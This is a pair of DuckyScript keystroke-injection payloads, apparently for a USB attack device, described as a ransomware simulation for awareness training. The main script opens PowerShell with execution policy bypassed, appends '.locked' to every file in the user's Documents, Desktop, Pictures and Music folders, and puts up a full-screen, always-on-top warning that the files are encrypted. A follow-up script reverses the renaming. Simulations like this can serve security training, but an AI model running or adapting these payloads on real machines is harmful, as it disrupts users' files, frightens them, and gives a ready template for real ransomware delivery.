# Main
REM This script was created by github.com/MarkCyber
REM This script is intended to act as a simulation of a ransomware attack
REM This script will change all file extensions to .locked rather than encrypting the files
REM This script will also display a simulated encrypted message

DELAY 1000
GUI r
DELAY 1000
STRING powershell -NoProfile -ExecutionPolicy Bypass -Command "
$locations = @('MyDocuments', 'Desktop', 'Pictures', 'Music');
$errorOccurred = $false;
foreach ($loc in $locations) {
    $path = [Environment]::GetFolderPath($loc);
    $files = Get-ChildItem -Path $path -File;
    foreach ($file in $files) {
        try {
            Rename-Item -Path $file.FullName -NewName ($file.Name + '.locked');
        } catch {
            $errorOccurred = $true;
        }
    }
}
if ($errorOccurred) {
    Write-Host 'An error occurred while renaming files';
}
Add-Type -AssemblyName PresentationFramework;
$Window = New-Object System.Windows.Window;
$Window.WindowStartupLocation = 'CenterScreen';
$Window.WindowState = 'Maximized';
$Window.Topmost = $true;
$Window.Content = 'Your files have been encrypted. This is a simulation. Please contact your IT support team.';
$Window.ShowDialog();
"
ENTER
DELAY 1000

STRING exit
ENTER







# Cleanup
REM This script was created by github.com/MarkCyber
REM This is a follow-up script to the RansomwareSimulation
REM This script is to revert all changes from the RansomwareSimulation script

DELAY 1000
GUI r
DELAY 2000
STRING powershell -NoProfile -ExecutionPolicy Bypass -Command "
$locations = @('MyDocuments', 'Desktop', 'Pictures', 'Music');
foreach ($loc in $locations) {
    $path = [Environment]::GetFolderPath($loc);
    $files = Get-ChildItem -Path $path -File | Where-Object { $_.Name.EndsWith('.locked') };
    foreach ($file in $files) {
        Rename-Item -Path $file.FullName -NewName ($file.Name -replace '\.locked$', '');
    }
}
"
ENTER
DELAY 1000

STRING exit
ENTER
